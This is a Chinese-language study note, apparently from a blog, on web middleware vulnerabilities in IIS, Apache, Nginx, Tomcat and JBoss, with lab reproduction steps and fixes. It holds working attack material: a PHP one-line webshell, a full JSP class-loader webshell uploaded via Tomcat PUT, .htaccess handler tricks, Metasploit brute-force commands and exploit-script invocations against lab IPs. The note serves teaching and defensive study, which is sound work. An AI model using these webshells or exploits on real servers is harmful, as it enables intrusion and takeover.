web中间件安全
web中間件安全
<span style="color:red;">紅色</span>學習目標
| 中間件常見信息 | 常見中間件默認登錄口令 常見中間件默認端口 常見中間件默認站點根目錄 |
| IIS漏洞利用與防護 | IIS PUT漏洞 IIS 短文件名猜解漏洞 IIS 解析漏洞 IIS 目錄瀏覽漏洞 |
| Apache常見漏洞利用與防護 | Apache 解析漏洞 Apache 目錄瀏覽漏洞<> |
| Nginx常見漏洞與防護 | Nginx 解析漏洞 Nginx 目錄瀏覽漏洞 Nginx 路徑穿越漏洞 |
| Tomcat常見漏洞與防護 | 掌握Tomcat Basic爆破 掌握Tomcat 后門部署war包 掌握Tomcat 遠程代碼執(zhí)行漏洞 掌握Tomcat 文件讀取漏洞 |
| jBoss常見漏洞利用與防護 | jBoss 反序列化漏洞 jBoss 后門部署war包 |
| Weblogic常見漏洞利用與防護 | Weblogic 反序列化漏洞 Weblogic 后門部署war包 Weblogic 任意文件上傳 Weblogic SSRF漏洞利用 Weblogic 文件密碼解密的方式 |
中間價常見信息
IIS
PUT漏洞
漏洞介紹及成因 IIS Server在web 服務擴展中開啟了webDAV,配置了可以寫入的權限,造成任意文件上傳。版本:IIS6.0 上傳一句話木馬文件,然后利用蟻劍連接拿shell 漏洞復現(xiàn) 開啟webDAV 和寫權限。漏洞修復 關閉webDAV和寫權限。短文件名猜解
漏洞介紹及成因 有就404沒有就400 IIS的短文件名機制,可以暴力猜解短文件名,訪問構造的某個存在的短文件名,會返回404,訪問構造的某個不存在的短文件名,返回400。 漏洞復現(xiàn) IIS8.0以下版本需要開啟ASPNET支持,IIS大于等于8.0版本,即使沒有安裝ASP.NET,通過OPTIONS和TRACE方法也可以猜解成功。漏洞修復
漏洞修復 1)升級.net framework 2)修改注冊表禁用短文件名功能 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlFileSystem,將其中的 NtfsDisable8dot3NameCreation這一項的值設為1,1代表不創(chuàng)建短文件名格式,修改完成后,需要重啟系統(tǒng)生效 3 )CMD關閉NTFS 8.3文件格式的支持 4 )將web文件夾的內(nèi)容拷貝到另一個位置,如c\www到d:\w,然后刪除原文件夾,再重命名d:\w到c:\www。解析漏洞
大多數(shù)原因都是網(wǎng)站管理員配置錯誤,或者web服務器自身的一些漏洞,導致一些特殊的文件被IIS,Apache,Nginx等其他web 服務器當做腳本執(zhí)行。例如將php2,phtml等文件當做腳本執(zhí)行。但是大部分都是服務器自身漏洞。目錄瀏覽
漏洞介紹及成因 用戶在使用IIS進行配置時,誤將網(wǎng)站管理屬性->主目錄->目錄瀏覽選中,從而造成目錄遍歷漏洞。這一漏洞造成的影響為網(wǎng)站信息泄露,致使用戶可以通過目錄的形式來訪問網(wǎng)站的文件。 漏洞復現(xiàn) 網(wǎng)站管理:屬性->主目錄->目錄瀏覽文件解析漏洞
在IIS5.x/6.0中,在網(wǎng)站下建立文件夾的名字為*.asp、.asa、.cer、.cdx的文件夾,那么其目錄內(nèi)的任何擴展名的文件都會被IIS當做asp文件來解釋并執(zhí)行。例如創(chuàng)建目錄test.asp,那么/test.asp/1.jpg將被當做asp文件來執(zhí)行在ⅡIS5.x/6.0中,分號后面的不被解析,也就是說xie.asp;.jpg 會被服務器看成是xie.asp。還有IIS6.0默認的可執(zhí)行文件除了asp還包含這兩種.asa .cer。而有些網(wǎng)站對用戶上傳的文件進行校驗,只是校驗其后綴名。所以我們只要上傳.asp;.jpg、 *.asa;.jpg、 *.cer;.jpg后綴的文件,就可以通過服務器校驗,并且服務器會把它當成asp文件執(zhí)行。
畸形解析漏洞
在IIS7.0中,在默認Fast-CGI開啟狀況下,我們往圖片里面寫入下面的代碼<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?> 將文件保存成test.jpg格式,上傳到服務器,假設上傳路徑為/upload,上傳成功后,直接訪問/upload/test.jpg/x.php,此時神奇的畸形解析開始發(fā)揮作用啦。test.jpg將會被服務器當成php文件執(zhí)行,所以圖片里面的代碼就會被執(zhí)行。我們會神奇的發(fā)現(xiàn)在lupload目錄下創(chuàng)建了一個一句話木馬文件shell.php其他解析漏洞
在windows環(huán)境下,xx.jpg[空格]或xx.jpg.這兩類文件都是不允許存在的,若這樣命名,windows會默認除去空格或點,黑客可以通過抓包,在文件名后加一個空格或者點繞過黑名單。若上傳成功,空格和點都會被windows自動消除。漏洞修復
1)對新建目錄文件名進行過濾,不允許新建包含.的文件 2)取消網(wǎng)站后臺新建目錄的功能,不允許新建目錄 3 )限制上傳的腳本執(zhí)行權限,不允許執(zhí)行腳本 4)過濾.asp/xm.jpg,通過ISApi組件過濾Apache解析漏洞
文件名解析漏洞
Apache解析文件時默認從右往左解析,遇到不認識的后綴直接跳過,直到解析認識的后綴為止,例如解析 lyp.php.xxy 解析,xxy不認識往前解析,最終為lyp.php 實驗中可以上傳rar,owf等文件進行利用,不要上傳phpinfo.php.jpg Apache認識jpg沒法繼續(xù)向前解析漏洞修復: 將AddHandler application/x-httpd-php .php的配置文件刪除。目錄瀏覽
目錄瀏覽漏洞是由于網(wǎng)站存在配置缺陷,導致網(wǎng)站目錄可以被任意瀏覽,這會導致網(wǎng)站很多隱私文件與目錄泄露, 比如數(shù)據(jù)庫備份文件、配置文件等,攻擊者利用該信息可以為進一步入侵網(wǎng)站做準備漏洞修復 Options -Indexes +FollowSymLinks +ExecCGI.htaccess文件
.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網(wǎng)頁配置。 通過.htaccess文件,可以實現(xiàn):網(wǎng)頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶 或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平臺上不存在該文件,該文件默認開啟, 啟用和關閉在 httpd.conf文件中配置。文件生效的前提條件如下 mod_rewrite模塊開啟 LoadModule rewrite_module modules/mod_rewrite.so AllowOverride All AllowOverride All1:這個.htaccess的意思就是把所有名字里面含有shell的文件當成php腳本來執(zhí)行 <FilesMatch "shell"> SetHandler application/x-httpd-php </FilesMatchc> 2:這里代碼的意思可以讓 .jpg后綴名文件格式的文件名以php格式解析 AddType application/x-httpd-php .jpg3:SetHandler application/x-httpd-php,這行配置表示將所有后綴名都解析為phpNginx
解析漏洞
對任意文件名在后面添加/xxx.php的一種解析漏洞例如原來文件名為pass.jpg 可以在后面添加pass.jpg/lyp.php,那么此文件就會被當做PHP解析此漏洞與服務器無關,完全是用戶配置不當造成
漏洞復現(xiàn)
靶場地址https://github.com/vulhub/vulhub/tree/master/nginx/nginx_parsing_vulnerability 直接上傳一個帶有圖片馬,上傳成功查看保存的路徑,直接訪問其路徑然后在路徑后面添加/shell.php后綴, 打印出圖片內(nèi)容復制完整路徑利用中國蟻劍進行連接成功getshell漏洞修復
1. 修改配置文件/nginx/nginx_parsing_vulnerability/php-fpm/www-2-confsecurity.limit_extensions = .php 將=號后面加上.php 2. php.ini文件中的cgi.fix_pathinfo的值設置為0,這樣php再解析1.php/1.jpg這樣的目錄時, 只要1.jpg不存在就會顯示404頁面 接著上傳圖片馬發(fā)現(xiàn)文件無法解析目錄瀏覽
Nginx的目錄遍歷與Apache一樣,屬于配置方面的問題,錯誤的配置可到導致目錄遍歷與源碼泄露。漏洞復現(xiàn):修改/etc/nginx/sites-avaliable/default,在如下圖所示的位置添加autoindex on漏洞修復將on改為off
漏洞發(fā)現(xiàn) 如上圖所示開啟autoindex on后,會出現(xiàn)目錄瀏覽漏洞路徑穿越
靶場地址:https://github.com/vulhub/vulhub/tree/master/nginx/insecure-configuration 192.168.1.32:8081/files/192.168.1.32:8081/files../http://192.168.1.32:8081/files../etc/漏洞產(chǎn)生原因url中沒有對/files加后綴/,而alias設置的/home/是有后綴/的,這個/導致可以從/home/目錄穿越到他的上層目錄 此外還存在目錄遍歷漏洞開啟了 autoindex on;Tomcat
Tomcat服務器是一個免費的開放源代碼的Web應用服務器,屬于輕量級應用服務器,在中小型系統(tǒng)和并發(fā)訪問用戶不是很多的場合下被普遍使用,是開發(fā)和調(diào)試JSP程序的首選。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當運行tomcat時,它實際上作為一個與Apache獨立的進程單獨運行的。Tomcat&&Basic爆破
環(huán)境搭建
docker search tomcat docker pull consol/tomcat-7.0 docker run -d -p 8080:8080 --name tomcat-baopo consol/tomcat-7.0 #直接訪問139.224.225.64:8080即可vulhub搭建 https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8/README.zh-cn.md訪問tomcat控制臺
#輸入用戶名密碼后用burp進行抓包 GET /manager/html HTTP/1.1 Host: 139.224.225.64:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://139.224.225.64:8080/ Cookie: JSESSIONID=C77BAB5CA7FB9A74D659FB1E170FED9D Connection: close Authorization: Basic YWRtaW46MzIyNDI0 #存在認證,將Basic后面的字符進行base64加密利用burp爆破
YWRtaW46MzIyNDI0 添加變量,然后選擇payload tomcat控制臺賬號密碼加密總結: 1. 傳輸?shù)馁~號密碼存在于請求頭中的Authorization字段中. 2. 賬號密碼經(jīng)過了base64加密 3. 傳輸?shù)馁~號密碼格式為(username:password)利用msf爆破
use auxiliary/scanner/http/tomcat_mgr_login set rhosts 139.224.225.64 run#爆破成功 [+] 139.224.225.64:8080 - Login Successful: admin:admincheek_tomcat工具
git clone https://github.com/r00too/cheek_tomcat.git #克隆工具 python3 cheek_tomcat.py http://139.224.225.64:8080/manager/html #直接爆破加固建議
docker exec -it 63c94be7637d /bin/bash find / -name tomcat #/opt/tomcat cd /opt/tomcat/conf 進入此文件下 tomcat-users.xml #重啟tomcat即可 #進入bin目錄 cd /opt/tomcat/bin #關閉tomcat ./shutdown.sh #啟動tomcat ./startup.sh[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Dl20ruzT-1630385093460)(web中間件安全.assets/image-20210811233116141.png)]
高版本Tomcat防爆破,在一定錯誤次數(shù)后會鎖定目標用戶!可以嘗試使用手動弱口令猜解后門部署war包
漏洞簡介
參考博客 https://blog.csdn.net/weixin_43071873/article/details/109532160環(huán)境接上個實驗 vulhub搭建 https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8/README.zh-cn.md漏洞簡介及成因 Tomcat支持在后臺部署war文件,可以直接將webshell部署到web目錄下。若后臺管理頁面存在弱口令,則可以通過爆破獲取密碼。 而剛好上述通過弱口令進入后臺。接下來進行getshell操作制作war包
準備一個passwd.jsp的木馬,然后將木馬打包為war格式 使用如下命令: jar cvf passwd.war passwd.jsp部署war包
進入Tomcat后臺上傳剛剛制作的passwd.war包 然后瀏覽器訪問這個war包,返回正常,利用中國蟻劍進行連接,成功getshellhttp://域名/passwd/passwd.jsp修復方案
1.在系統(tǒng)上以低權限運行Tomcat應用程序。創(chuàng)建一個專門的 Tomcat服務用戶,該用戶只能擁有一組最小權限,例如不允許遠程登錄; 2.增加對于本地和基于證書的身份驗證,部署賬戶鎖定機制,對于集中式認證,目錄服務也要做相應配置,在CATALINA_HOME/conf/web.xml文件設置鎖定機制和時間超時限制; 3.以及針對manager-gui/manager-status/manager-script等目錄頁面設置最小權限訪問限制; 4.后臺管理避免弱口令.遠程代碼執(zhí)行
漏洞簡介
Tomcat運行在Windows主機上,且啟用了HTTP PUT 請求方法,將readonly參數(shù)值設置為false,致使攻擊者可以上傳包含任意代碼的JSP文件,造成任意代碼執(zhí)行。影響版本 Apache Tomcat 7.0.0-7.0.81。靶機地址https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/README.zh-cn.md漏洞復現(xiàn)
造成漏洞的原因是tomcat文件夾下的/conf/web.xml插入了如下代碼<init-param><param-name>readonly</param-name><param-value>false</param-value> </init-param>增加以上配置導致我們可以向服務器寫入文件代碼執(zhí)行(CVE-2017-12617)
1. 首頁抓包,然后將請求方式改為PUT,并上傳一個/123.jsp/ 文件內(nèi)容為123 上傳成功后狀態(tài)碼為201并訪問此文件,成功回顯123,說明文件上傳成功。 上木馬,還是之前上傳war包的那個jsp木馬<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}} %> <%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);} %> 被上傳的木馬文件存放位置在: tomcat/webapps/ROOT 目錄下直接利用中國蟻劍進行連接即可,如下圖成功getshell修復方案
更新版本唄 將conf/web.xml文件的那個參數(shù)值設置為true,則攻擊者無法上傳文件 前端waf禁止PUT和DELETE請求文件讀取
靶場地址https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2020-1938/README.zh-cn.md漏洞簡介
漏洞編號 cve-2020-1938漏洞簡介及成因[Ghostcat(幽靈貓) ]( https://www.chaitin.cn/zh/ghostcat )是由長亭科技安全研究員發(fā)現(xiàn) 的存在于Tomcat 中的安全漏洞, 由于Tomcat AJP協(xié)議設計上存在缺陷,攻擊者通過Tomcat AJP Connector可以讀取或包含Tomcat上所有 webapp目錄下的任意文件, 例如可以讀取 webapp配置文件或源代碼。 此外在目標應用有文件上傳功能的情況下,配合文件包含的利用還可以達到遠程代碼執(zhí)行的危害。 相關鏈接 https://www.chaitin.cn/zh/ghostcat https://www.cnvd.org.cn/webinfo/show/5415 https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ漏洞原理
tomcat默認的conf/server.xml中配置了2個Connector,一個為8080的對外提供的HTTP協(xié)議端口,另外一個就是默認的8009AJP協(xié)議端口,兩個端口默認均監(jiān)聽在外網(wǎng)ip。tomcat在接收ajp請求的時候調(diào)用org.apache.coyote.ajp.AjpProcessor來處理ajp消息,prepareRequest將ajp里面的內(nèi)容取出來設置成request對象的Attribute屬性。可以通過此種特性從而可以控制request對象的下面三個Attribute屬性javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path再通過控制ajp控制的上述三個屬性來讀取文件,通過操控上述三個屬性從而可以讀取到應用目錄下的任何文件。 表示完全看不懂再說啥漏洞復現(xiàn)
攻擊的EXP地址 https://github.com/zhzyker/exphub 直接在攻擊機運行攻擊的POC即可,代碼如下 python2 cve-2020-1938_exp.py -p 8009 139.224.225.64 -f /WEB-INF/web.xml (阿里云服務器搭建靶場需要開啟8009端口) 如上圖所示,成功讀取web.xml的文件。修復方案
JBoss
反序列化漏洞
靶場搭建 https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149 工具下載地址 https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828漏洞介紹
漏洞描述及原理: 2017年8月30日,廠商Redhat發(fā)布了一個JBOSSAS 5.x 的反序列化遠程代碼執(zhí)行漏洞通告。該漏洞位于JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數(shù)據(jù)流進行反序列化,導致攻擊者可以通過精心設計的序列化數(shù)據(jù)來執(zhí)行任意代碼。但近期有安全研究者發(fā)現(xiàn)JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需用戶驗證在系統(tǒng)上執(zhí)行任意命令,獲得服務器的控制權。影響版本: 5.x和6.x漏洞復現(xiàn)
方法一: 訪問/invoker/readonly 如果頁面返回500,說明頁面存在,此頁面有反序列化漏洞 利用反序列化工具進行漏洞探測利用 工具下載地址: https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828 方法二: 利用POC直接打 https://github.com/joaomatosf/jexboss.git 攻擊機直接輸入如下命令即可 python3 jexboss.py -host http://192.168.1.32:8080cve-2017-7504
漏洞簡介及成因Red Hat JBoss Application Server 是一款基于JavaEE的開源應用服務器。JBoss AS 4.x及之前版本中,JbossMQ實現(xiàn)過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數(shù)據(jù)利用該漏洞執(zhí)行任意代碼。影響版本 JBoss AS 4.x及之前版本。
漏洞探測
該漏洞出現(xiàn)在 /jbossmq-httpil/HTTPServerILServlet 路徑下。若訪問200,則可能存在漏洞。從網(wǎng)站的Favicon.ico已經(jīng)網(wǎng)站的 Header和Footer都可以看到明顯的JBoss特征信息,在網(wǎng)頁的返回包中也可以查看到JBoSs-4.0.5的字樣:
漏洞復現(xiàn)
直接訪問 /jbossmq-httpil/HTTPServerILServlet 路徑如果出現(xiàn)如下結果,則證明存在反序列化漏洞 探測存在漏洞后,直接利用POC拿shell即可 POC地址: https://github.com/joaomatosf/jexboss.git 下載完成后,直接在黑客主機上執(zhí)行POC即可成功獲取靶機的shell 運行如上命令后,POC會自動進行檢查攻擊, 根據(jù)提示輸入yes 輸入yes之后,成功獲取一個shell,并且能夠執(zhí)行任意命令后門部署war包
漏洞介紹
漏洞簡介及成因 jBoss后臺管理頁面存在弱口令,通過爆破獲得賬號密碼。登陸后臺上傳包含后門的war包。漏洞復現(xiàn) Administration Console管理頁面存在弱口令,admin:admin,登陸后臺上傳war包。總結
- 上一篇: 苹果手机邮箱imap服务器没有响应,Ap
- 下一篇: 中科大自主招生2018年笔试数学